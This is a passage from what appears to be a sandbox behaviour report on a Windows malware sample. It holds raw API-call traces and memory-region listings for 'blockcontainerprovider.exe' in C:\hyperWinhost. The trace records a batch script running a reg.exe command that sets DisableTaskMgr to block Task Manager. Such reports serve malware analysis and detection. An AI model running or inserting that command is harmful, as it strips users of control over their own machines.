returned -5 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="sfxcmd=", _MaxCount=0x7) returned -16 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="sfxname", _MaxCount=0x7) returned -16 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="sfxpar=", _MaxCount=0x7) returned -16 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="sfxstim", _MaxCount=0x7) returned -16 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0094.528] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0094.528] GetProcessHeap () returned 0x810000 [0094.528] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x823b78 | out: hHeap=0x810000) returned 1 [0094.528] GetProcessHeap () returned 0x810000 [0094.528] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xa) returned 0x8111b8 [0094.528] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1 [0094.528] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\hyperWinhost", lpStartupInfo=0x3ae9c4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3aea10 | out: lpCommandLine="reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", lpProcessInformation=0x3aea10*(hProcess=0x80, hThread=0x7c, dwProcessId=0x9b8, dwThreadId=0x9bc)) returned 1 [0094.557] CloseHandle (hObject=0x7c) returned 1 [0094.557] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0094.557] GetProcessHeap () returned 0x810000 [0094.558] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8260f0 | out: hHeap=0x810000) returned 1 [0094.558] GetEnvironmentStringsW () returned 0x8253e8* [0094.558] GetProcessHeap () returned 0x810000 [0094.558] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xcfc) returned 0x8260f0 [0094.558] memcpy (in: _Dst=0x8260f0, _Src=0x8253e8, _Size=0xcfc | out: _Dst=0x8260f0) returned 0x8260f0 [0094.558] FreeEnvironmentStringsW (penv=0x8253e8) returned 1 [0094.558] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0 [0095.496] GetExitCodeProcess (in: hProcess=0x80, lpExitCode=0x3ae904 | out: lpExitCode=0x3ae904*=0x0) returned 1 [0095.496] CloseHandle (hObject=0x80) returned 1 [0095.496] _vsnwprintf (in: _Buffer=0x3aea4c, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ae910 | out: _Buffer="00000000") returned 8 [0095.496] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0095.496] GetProcessHeap () returned 0x810000 [0095.497] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8260f0 | out: hHeap=0x810000) returned 1 [0095.497] GetEnvironmentStringsW () returned 0x8253e8* [0095.497] GetProcessHeap () returned 0x810000 [0095.497] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xcfc) returned 0x8260f0 [0095.498] memcpy (in: _Dst=0x8260f0, _Src=0x8253e8, _Size=0xcfc | out: _Dst=0x8260f0) returned 0x8260f0 [0095.498] FreeEnvironmentStringsW (penv=0x8253e8) returned 1 [0095.498] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0095.498] GetProcessHeap () returned 0x810000 [0095.498] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8260f0 | out: hHeap=0x810000) returned 1 [0095.498] GetEnvironmentStringsW () returned 0x8253e8* [0095.498] GetProcessHeap () returned 0x810000 [0095.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xcfc) returned 0x8260f0 [0095.498] memcpy (in: _Dst=0x8260f0, _Src=0x8253e8, _Size=0xcfc | out: _Dst=0x8260f0) returned 0x8260f0 [0095.498] FreeEnvironmentStringsW (penv=0x8253e8) returned 1 [0095.498] GetProcessHeap () returned 0x810000 [0095.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8111b8 | out: hHeap=0x810000) returned 1 [0095.499] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ae968 | out: lpAttributeList=0x3ae968) [0095.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.499] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0095.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.499] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4941ac | out: lpMode=0x4a4941ac) returned 1 [0095.499] _get_osfhandle (_FileHandle=0) returned 0x3 [0095.499] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4941b0 | out: lpMode=0x4a4941b0) returned 1 [0095.500] SetConsoleInputExeNameW () returned 0x1 [0095.500] GetConsoleOutputCP () returned 0x1b5 [0095.500] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a494260 | out: lpCPInfo=0x4a494260) returned 1 [0095.500] SetThreadUILanguage (LangId=0x0) returned 0x409 [0095.500] CreateFileW (lpFileName="C:\\hyperWinhost\\DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af1e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80 [0095.501] _open_osfhandle (_OSFileHandle=0x80, _Flags=8) returned 3 [0095.501] _get_osfhandle (_FileHandle=3) returned 0x80 [0095.501] SetFilePointer (in: hFile=0x80, lDistanceToMove=156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c [0095.501] GetProcessHeap () returned 0x810000 [0095.501] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835dd8 | out: hHeap=0x810000) returned 1 [0095.501] GetProcessHeap () returned 0x810000 [0095.502] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835c10 | out: hHeap=0x810000) returned 1 [0095.502] GetProcessHeap () returned 0x810000 [0095.502] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835a48 | out: hHeap=0x810000) returned 1 [0095.502] GetProcessHeap () returned 0x810000 [0095.503] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835a10 | out: hHeap=0x810000) returned 1 [0095.503] GetProcessHeap () returned 0x810000 [0095.503] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835920 | out: hHeap=0x810000) returned 1 [0095.503] GetProcessHeap () returned 0x810000 [0095.503] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835708 | out: hHeap=0x810000) returned 1 [0095.503] GetProcessHeap () returned 0x810000 [0095.503] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x825240 | out: hHeap=0x810000) returned 1 [0095.504] GetProcessHeap () returned 0x810000 [0095.504] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x825208 | out: hHeap=0x810000) returned 1 [0095.504] GetProcessHeap () returned 0x810000 [0095.504] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x81fa08 | out: hHeap=0x810000) returned 1 [0095.504] GetProcessHeap () returned 0x810000 [0095.504] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8251a0 | out: hHeap=0x810000) returned 1 [0095.504] GetProcessHeap () returned 0x810000 [0095.504] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x825130 | out: hHeap=0x810000) returned 1 [0095.505] GetProcessHeap () returned 0x810000 [0095.505] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x824f18 | out: hHeap=0x810000) returned 1 [0095.505] GetProcessHeap () returned 0x810000 [0095.505] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x824e30 | out: hHeap=0x810000) returned 1 [0095.505] GetProcessHeap () returned 0x810000 [0095.505] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8111a0 | out: hHeap=0x810000) returned 1 [0095.505] GetProcessHeap () returned 0x810000 [0095.505] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x824dd0 | out: hHeap=0x810000) returned 1 [0095.505] GetProcessHeap () returned 0x810000 [0095.506] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x824d70 | out: hHeap=0x810000) returned 1 [0095.506] GetProcessHeap () returned 0x810000 [0095.506] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x811170 | out: hHeap=0x810000) returned 1 [0095.506] GetProcessHeap () returned 0x810000 [0095.506] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x824d00 | out: hHeap=0x810000) returned 1 [0095.506] GetProcessHeap () returned 0x810000 [0095.507] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x81f9a8 | out: hHeap=0x810000) returned 1 [0095.507] _get_osfhandle (_FileHandle=3) returned 0x80 [0095.507] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9c [0095.507] ReadFile (in: hFile=0x80, lpBuffer=0x4a496640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af1cc, lpOverlapped=0x0 | out: lpBuffer=0x4a496640*, lpNumberOfBytesRead=0x3af1cc*=0x0, lpOverlapped=0x0) returned 1 [0095.508] GetLastError () returned 0x0 [0095.508] _get_osfhandle (_FileHandle=3) returned 0x80 [0095.508] GetFileType (hFile=0x80) returned 0x1 [0095.508] _get_osfhandle (_FileHandle=3) returned 0x80 [0095.508] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9c [0095.508] GetProcessHeap () returned 0x810000 [0095.508] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x400a) returned 0x835f30 [0095.509] GetProcessHeap () returned 0x810000 [0095.509] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835f30 | out: hHeap=0x810000) returned 1 [0095.510] _get_osfhandle (_FileHandle=3) returned 0x80 [0095.510] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9c [0095.510] ReadFile (in: hFile=0x80, lpBuffer=0x4a496640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af1b0, lpOverlapped=0x0 | out: lpBuffer=0x4a496640*, lpNumberOfBytesRead=0x3af1b0*=0x0, lpOverlapped=0x0) returned 1 [0095.510] GetLastError () returned 0x0 [0095.510] _get_osfhandle (_FileHandle=3) returned 0x80 [0095.510] GetFileType (hFile=0x80) returned 0x1 [0095.510] _get_osfhandle (_FileHandle=3) returned 0x80 [0095.510] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9c [0095.511] GetProcessHeap () returned 0x810000 [0095.511] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x400a) returned 0x835f30 [0095.511] GetProcessHeap () returned 0x810000 [0095.511] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x835f30 | out: hHeap=0x810000) returned 1 [0095.511] longjmp () [0095.511] _tell (_FileHandle=3) returned 156 [0095.511] _close (_FileHandle=3) returned 0 [0095.512] CmdBatNotification () returned 0x0 [0095.512] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.512] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0095.513] _get_osfhandle (_FileHandle=1) returned 0x7 [0095.513] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4941ac | out: lpMode=0x4a4941ac) returned 1 [0095.513] _get_osfhandle (_FileHandle=0) returned 0x3 [0095.514] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4941b0 | out: lpMode=0x4a4941b0) returned 1 [0095.514] SetConsoleInputExeNameW () returned 0x1 [0095.514] GetConsoleOutputCP () returned 0x1b5 [0095.515] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a494260 | out: lpCPInfo=0x4a494260) returned 1 [0095.515] SetThreadUILanguage (LangId=0x0) returned 0x409 [0095.515] exit (_Code=0) Process: id = "4" image_name = "blockcontainerprovider.exe" filename = "c:\\hyperwinhost\\blockcontainerprovider.exe" page_root = "0x40e1c000" os_pid = "0xe88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"C:\\hyperWinhost\\blockcontainerProvider.exe\" " cur_dir = "C:\\hyperWinhost\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 620 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 621 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 622 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 623 start_va = 0x13b0000 end_va = 0x1487fff monitored = 1 entry_point = 0x147f1ee region_type = mapped_file name = "blockcontainerprovider.exe" filename = "\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe") Region: id = 624 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 625 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 626 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 627 start_va = 0x7fff7000 end_va = 0x7fff7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff7000" filename = "" Region: id = 628 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 629 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 630 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 631 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 632 start_va = 0x320000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 633 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 634 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 635 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 636 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 637 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 638 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 639 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 640 start_va = 0x560000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 641 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 642 start_va = 0x750000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 643 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 644 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 645 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 646 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 647 start_va = 0x320000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 648 start_va = 0x4e0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 649 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 650 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 651 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 652 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 653 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 654 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 655 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 656 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 657 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 658 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 659 start_va = 0x560000 end_va = 0x6e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 660 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 661 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 662 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 663 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 664 start_va = 0x750000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 665 start_va = 0x8e0000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 666 start_va = 0x1490000 end_va = 0x288ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001490000" filename = "" Region: id = 667 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 668 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 669 start_va = 0x960000 end_va = 0xa30fff monitored = 1 entry_point = 0xa2f1ee region_type = mapped_file name = "blockcontainerprovider.exe" filename = "\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe") Region: id = 670 start_va = 0x960000 end_va = 0xa30fff monitored = 1 entry_point = 0xa2f1ee region_type = mapped_file name = "blockcontainerprovider.exe" filename = "\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe") Region: id = 671 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 672 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 673 start_va = 0x7fef1ff0000 end_va = 0x7fef2ab6fff monitored = 1 entry_point = 0x7fef1ff63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 674 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 675 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 676 start_va = 0x7fef3eb0000 end_va = 0x7fef3f6cfff monitored = 0 entry_point = 0x7fef3f37db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 677 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 678 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 679 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 680 start_va = 0x7fe91eb0000 end_va = 0x7fe91ebffff monitored = 1 